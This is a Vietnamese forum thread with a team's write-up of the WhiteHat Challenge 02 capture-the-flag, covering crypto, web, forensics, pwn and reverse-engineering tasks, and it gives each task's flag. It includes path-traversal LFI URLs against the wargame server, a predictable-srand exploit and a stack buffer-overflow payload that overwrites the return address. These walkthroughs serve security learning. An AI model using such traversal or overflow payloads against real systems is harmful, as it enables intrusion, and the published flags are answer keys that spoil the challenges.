Tổng hợp Write-up cuộc thi An ninh mạng WhiteHat Challenge 02

Thảo luận trong 'Writeup Play' bắt đầu bởi sunny, 26/03/17, 11:03 PM.

  1. sunny

    sunny VIP Members

    Tham gia: 30/06/14, 10:06 PM
    Bài viết: 1,894
    Đã được thích: 868
    Điểm thành tích:
    113
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    Sugi_b3o thích bài này.
  2. UITTKOX

    UITTKOX New Member

    Tham gia: 26/03/17, 11:03 PM
    Bài viết: 2
    Đã được thích: 8
    Điểm thành tích:
    3
    Writeup WhiteHat Challenge02 - TEAM UITTKOX :)
    Lưu ý:
    Các challenge yêu cầu submit flag theo định dạng WhiteHat{sha1(flag)}
    Các bạn có thể sử dụng công cụ online tại http://www.sha1-online.com/
    Hoặc code script bằng một ngôn ngữ lập trình để sử dụng.

    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    CRYPTO01:

    Bài này ta thấy q và p là 2 số nguyên tố rất gần nhau, dung thuật toán Fermat factor để phân tích số n, thu được p, q.
    Từ p, q tính phi(n) và d theo công thức.
    Có d ta dễ dàng khôi phục được thông điệp ban đầu.
    [​IMG]
    Ta thu được flag là: “close_primes_is_bad”


    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    CRYPTO02:

    Bài này khá đơn giản, thuật toán chỉ cơ bản là kết hợp giữa rot và base64. Không biết do cố tình hay cố ý mà charset base64 của tác giả bị thiếu 2 ký tự “/” và “=” nên trong quá trình decrypt có xảy ra một số lỗi. :D

    Các ký tự được đưa vào sẽ được rot một khoảng nào đó từ 0 đến 63. Việc cần làm chỉ là brute từ 0 đến 63 sẽ có 1 trường hợp số đó trùng với key%64.

    [​IMG]


    Thu được flag là “Caesar with base32 is exciting!”
    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    WEB01
    : Đây là một bài Javascript. View soucre -> F12 -> console để chạy js là done :)))
    [​IMG]

    ez flag: WhiteHat{sha1(youaregod~~~~~~~!)}

    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    WEB02: Bài này khó hơn xíu, nó thuộc loại LFI nhưng phải URL encode payload lại
    b1: http://web02.wargame.whitehat.vn/index.php?type=..%252f..%252f
    [​IMG]
    Xuất hiện đường dẫn lạ: /4HTzx6PGhDD/
    tiếp tục đưa nó vào payload thôi:
    b2: http://web02.wargame.whitehat.vn/index.php?type=..%252f..%252f4HTzx6PGhDD/passwd
    [​IMG]
    ez flag: WhiteHat{sha1(Dot-Dot-Slash)}

    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    FOR01: Mở file access_log lên ta thấy

    [​IMG]
    IP 192.168.1.1 có rất nhiều request lạ -> 192.168.1.1 là attacker
    Tiến hành đếm số request: Thực hiện lệnh: cat access.log | grep "192.168.1.1 - -" > reqeuest.txt.
    Mở file request.txt lên
    [​IMG]
    có tất cả 41326 request
    Flag WhiteHat{sha1(192.168.1.1;41326)}

    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    FOR02: Dùng wireshark để mở file pcap sử dụng lệnh tcp.stream eq [number] để filter các gói tin tcp
    tcp.stream eq 2
    [​IMG]
    tcp.stream eq 4
    [​IMG]
    Ta thấy xuất hiện file Flag.zip và nhiều tập tin Secret.docx, tiến hành extract các tập tin này:
    File -> Export Objects -> HTTP
    [​IMG]
    Lưu lại 2 file trên. Muốn ở Flag.zip phải cần password, ta tìm password trong file Secret.docx
    [​IMG]
    Tác giả đã dùng chữ màu trắng để giấu pass
    Sử dụng password trên giải nén file Flag.zip ta được một file hình goku.jpg
    [​IMG]
    strings goku.jpg | grep flag ta được thứ cần tìm.
    Flag: WhiteHat{sha1(Simple_Network_Forensic)}

    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    PWN01
    :

    Bài này có 2 cách, mình sẽ trình bày 1 cách theo hướng có lẽ là ý đồ của btc.
    Nhìn vào thì thấy ngay bug ở chỗ hàm srand vì nó thực sự không random. Mình sẽ lấy thời gian y hệt của code và random lại là sẽ chắc chắn win.
    Đọc code thấy sleep 3 giây rồi tiến hành srand time(0), mình sẽ làm y hệt
    code:
    Mã:
    #include <stdio.h>
    #include <time.h>
    
    int main()
    {
            unsigned int v3,x,j;
            sleep(3u);
            v3 = time(0);
            srand(v3);
            for ( j = 0; j <= 2; ++j)
            {
                    x = rand() % 100 + 1;
                    printf("%d\n",x);
            }
    }
    
    
    
    
    
    

    sau đó:
    joker@Kiva:~/Downloads/main/whitehatchallenge02/Pwn001$ gcc pwn.c ; ./a.out | ./guessing

    -------- Guessing Game --------
    You must guess 3 random number in range 1-100 to win the game!
    Let's start...
    Round 1: Round 2: Round 3: Congrast! You win the game Flag....

    Bài này còn bị một lỗi nữa là Buffer Overflow, đây là một bug khá cơ bản cho người mới bắt đầu tìm hiểu về exploit
    Các bạn có thể tham khảo thêm trong:
    Nghệ thuật tận dụng lỗi phần mềm - Nguyễn Thành Nam
    Hacking The Art of Exploition - Jon Erickson
    Sau đây là cách giải thứ 2:
    [​IMG]

    Nếu ở bất cứ round nào bạn nhập một chuỗi đủ dài thì chương trình sẽ gặp lỗi Segmentation fault.
    Vậy lỗi này là do đâu , để ý vào bài ta thấy, thay vì scanf 1 số dùng %d như bình thường tác giả lại sử dụng %s và atoi hơn nữa không kiểm tra input , do đó chương trình sẽ bị overflow trên stack

    [​IMG]

    Để giải mấy bài dạng này, các bạn phải tiến hành debug tính offset từ biến bị overflow tới giá trị chương trình ret về là bao nhiêu.
    Ở đây offset =16
    Payload "A"*16+"B"*4 => EIP= 0x424242424 ("BBBB")

    [​IMG]

    Lúc này để lấy flag ta có thể thay BBBB bằng địa chỉ của nhánh True trong câu lệnh if hoặc địa chỉ của hàm flag
    Ở đây tôi trỏ tới hàm flag có địa chỉ 0x080487C5

    [​IMG]

    Ta được flag
    [​IMG]
    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    RE01:
    [​IMG]
    Chương trình yêu cầu nhập vào một chuỗi 2 số thập lục phân cách nhau bởi dấu “-“

    Nếu 2 số này có tích là 1000000016000000063 thì sẽ in ra flag , không sẽ trả về Invalid key

    Để giải bài này ta cần factor số 1000000016000000063. Ở đây tôi sử dụng công cụ online https://factordb.com/

    [​IMG]
    chuyển 2 số qua hex ta được chuỗi cần nhập 3b9aca07-3b9aca09
    [​IMG]

    Flag WhiteHat{sha1(Difficulty of factoring a large integer yields good cryptosystems)}

    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    RE02:
    Chương trình này tiến hành tạo một chuỗi bằng một thuật toán

    [​IMG]
    Sau đó so sánh chuỗi mình nhập vào với chuỗi đã tạo
    Cách đơn giản nhất để giải bài này là đặt breakpoint đúng vị trí nó so sánh 2 chuỗi, Tìm chuỗi được so sánh trong thanh ghi.
    Ở đây tôi đặt breakpoint tại 0x00401695 tiến hành debug chương trình.
    [​IMG]
    Giá trị chuỗi chương trình sử dụng để so sánh có tại địa chỉ 0x0061F6D8 trên stack(như hình) -> Đây chính là chuỗi cần nhập.
    Flag WhiteHat{sha1(1801351-0x123456789)}

    --------------------------------------------------------------------------------------------------------------------------------------------------------------

    RE03
    :
    Đây là một bài python bytecodes các bạn có thể tìm hiểu thêm tại:
    http://unpyc.sourceforge.net/Opcodes.html
    https://docs.python.org/2/library/dis.html
    Bài này sử dụng thuật toán sàng nguyên tố để tìm các số nguyên tố nhỏ hơn 50
    Sau đó lấy các phần tử của một mảng cho trước tại các vị trí nguyên tố này, có biến đổi đôi chút.
    Dưới đây là phần mình đã dịch ngược lại, các bạn có thể tham khảo.
    Mã:
    n = 50
    tmp_list = [True]*50
    for i in xrange(3,int(pow(n,0.5))+1,2):
        if tmp_list[i]:
            tmp_list[i*i::2*i]=[False]*(((n-i*i-1)/(2*i))+1)
    List = []
    for i in xrange(3,50,2):
        if tmp_list[i]:
            List.append(i)
    List = [2] + List
    challenge = ['t','w','o','d','u','e','t','_','q','k','j','h','z','u','v','c','l','h','z','e','w','y','h','z','g','c','n','i','o','_','p','b','i','r','d','v','d','y','y','q','o','t','p','e','q','n','r','c','u','q']
    flag = raw_input("Give me your flag: ")
    flag = flag[-7:] + flag[:-7]
    tmp_str = ''
    for item in List:
        tmp_str += challenge[item]
    if flag == tmp_str:
        print "Congratulation! Submit your flag"
    else:
        print "Try your best, the rest will come"
    Flag: WhiteHat{sha1(ez_bytecode_huh)}
     

    Các file đính kèm:

    Chỉnh sửa cuối: 28/03/17, 03:03 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. krone

    krone VIP Members

    Tham gia: 26/07/16, 03:07 PM
    Bài viết: 260
    Đã được thích: 137
    Điểm thành tích:
    43
    Like cho bạn UIT ^^
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 338
    Đã được thích: 263
    Điểm thành tích:
    63
    For 001: Cách giải khác
    grep "192.168.1.1s" | wc -l
    Chú thích:
    grep s : lệnh dùng để lọc để kết quả ra chính xác ip 192.168.1.1 loại trừ các trường hợp 192.168.1.10 & 192.168.1.123
    wc -l : lệnh dùng để đếm kết hợp "-l" option đếm dòng
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    whf thích bài này.
  5. phieulang1993

    phieulang1993 W-------

    Tham gia: 03/02/15, 07:02 AM
    Bài viết: 36
    Đã được thích: 14
    Điểm thành tích:
    18
    Góp ý bài pwn001:
    Bài này basic nên chúng ta có thể không cần debug vẫn tính được offset.

    __isoc99_scanf("%s", &v10);

    mà v10 nằm ở ebp-4
    Như vậy khoảng cách từ v10 tới ebp là 4 bytes, nhưng trong trường hợp này hàm ta đang tính lại là main => có stack alignment => khoảng cách từ v10 tới ebp là 4+8 bytes = 12 bytes

    Như vậy payload sẽ là:
    Mã:
        FLAG = 0x080487C5
        payload = "A"*4 # ebp-0x4
        payload += "B"*8 # .text:08048640    and     esp, 0FFFFFFF0h (stack alignment)
        payload += "C"*4 # ebp
        payload += p32(FLAG) # return
    
    Full exploit:
    https://pastebin.com/gSWYNLSR

    P/S: Mình khuyến khích các bạn nên tìm hiểu vì sao offset nó lại như thế thay vì debug rồi mà vẫn chưa hiểu vì sao nó lại như vậy.
    P/S2: Các bạn không nên exploit 1 dòng bằng pipe, nên code exploit bằng file python hoặc ngôn ngữ lập trình nào đó.
    P/S3: Các bạn nên viết payload có chú thích rõ ràng thì sẽ dễ hiểu, dễ sửa đổi thay vì send 1 cục rồi khi các bạn attack xong local rồi mà muốn attack server thì phải sửa lại rất nhiều, trong khi exploit sai 1 byte thôi là cũng có thể tạch rồi.
     
    Chỉnh sửa cuối: 28/03/17, 01:03 PM
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    huyvinh96, whf, lochv37 and 4 others like this.
  6. lochv37

    lochv37 W-------

    Tham gia: 05/01/15, 03:01 PM
    Bài viết: 49
    Đã được thích: 30
    Điểm thành tích:
    18
    Em phải đăng nhập để like cho bác :))
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    sunny thích bài này.
  1. tmnt53
  2. sunny
  3. sunny
  4. sunny
  5. sunny